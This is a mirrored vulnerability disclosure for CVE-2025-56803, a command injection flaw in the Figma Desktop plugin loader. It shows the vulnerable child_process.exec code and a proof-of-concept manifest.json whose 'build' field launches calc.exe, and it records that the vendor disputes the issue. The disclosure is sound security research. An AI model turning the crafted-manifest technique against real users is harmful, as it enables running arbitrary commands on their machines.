Associated Vulnerability
Title:Figma Desktop 安全漏洞 (CVE-2025-56803)Description:Figma Desktop for Windows version 125.6.5 contains a command injection vulnerability in the local plugin loader. An attacker can execute arbitrary OS commands by setting a crafted build field in the plugin's manifest.json. This field is passed to child_process.exec without validation, leading to possible RCE. NOTE: this is disputed by the Supplier because the behavior only allows a local user to attack himself via a local plugin. The local build procedure, which is essential to the attack, is not executed for plugins shared to the Figma Community.
Description
Command Injection Vulnerability via Plugin Execution in Figma Desktop Application
Readme
# CVE-2025-56803
### Command Injection Vulnerability via Plugin Execution in Figma Desktop Application
## 1. Overview
<img src="images/figma_icon.png" alt="Figma Icon" align="left" width="60" hspace="10"/>
<br clear="left"/>
- **Application**: Figma Desktop Application
- **Version**: 125.6.5
- **Vendor**: Figma, Inc.
- **CWE**: [CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)
-
## 2. Summary
Figma Desktop Application(v125.6.5) contains a command injection vulnerability in plugin loader.
A malicious plugin manifest(`manifest.json`) can abuse the `build` field, which is passed directly into `child_process.exec()` without validation.
This allows arbitrary OS command execution as soon as the plugin is loaded, without security warnings or prompts.
## 3. Details
The vulnerability stems from code located in `main.js`, which imports Node.js’s built-in `child_process` module:
```javascript
Zlt = require("child_process")
```
Later, if the `build` field is present in a plugin’s `manifest.json` file and its value is a string, application executes the value directly using `child_process.exec()` without any sanitization or validation:
```javascript
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
```
As a result, the following `manifest.json` file contained in a malicious plugin would cause the value of the build field to be executed as an OS command:
```json
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
```
This execution flow is embedded in Figma’s plugin handling logic, and the inclusion of the `require("child_process")` call in `main.js` confirms that command execution is built directly into the application’s core logic.
## 4. Proof of Concept (PoC)
By running a plugin that includes the following malicious `manifest.json`:
```json
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
```
Once this plugin is registered in Figma and executed, the specified OS command(`calc.exe`) runs immediately.
https://github.com/user-attachments/assets/48e0a47a-0d1c-4a92-b9ff-33e9559fd5e7
## 5. Recommendations
Although the execution of the `build` field is an officially supported feature in the Figma Desktop Application, the application should avoid relying on user-controlled fields in `manifest.json`, such as `build`, wherever possible.
If such fields must be supported, they must undergo strict input validation to prevent command injection.
Additionally, the use of Node.js `child_process.exec()` should be avoided, and safer alternatives with explicit argument handling should be adopted instead.
## 6. References
- https://www.cve.org/CVERecord?id=CVE-2025-56803
- https://www.figma.com/plugin-docs/manifest/
File Snapshot
[4.0K] /data/pocs/a12c1d2328cc57aa3a60a9e0d45c7bdb6151dd93
├── [4.0K] images
│ ├── [ 69K] figma_icon.png
│ └── [298K] figma-poc.mp4
├── [4.0K] poc-plugin
│ ├── [ 118] code.js
│ ├── [ 900] code.ts
│ ├── [ 304] manifest.json
│ ├── [1.1K] package.json
│ ├── [ 1] README.md
│ └── [ 178] tsconfig.json
└── [3.4K] README.md
2 directories, 9 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →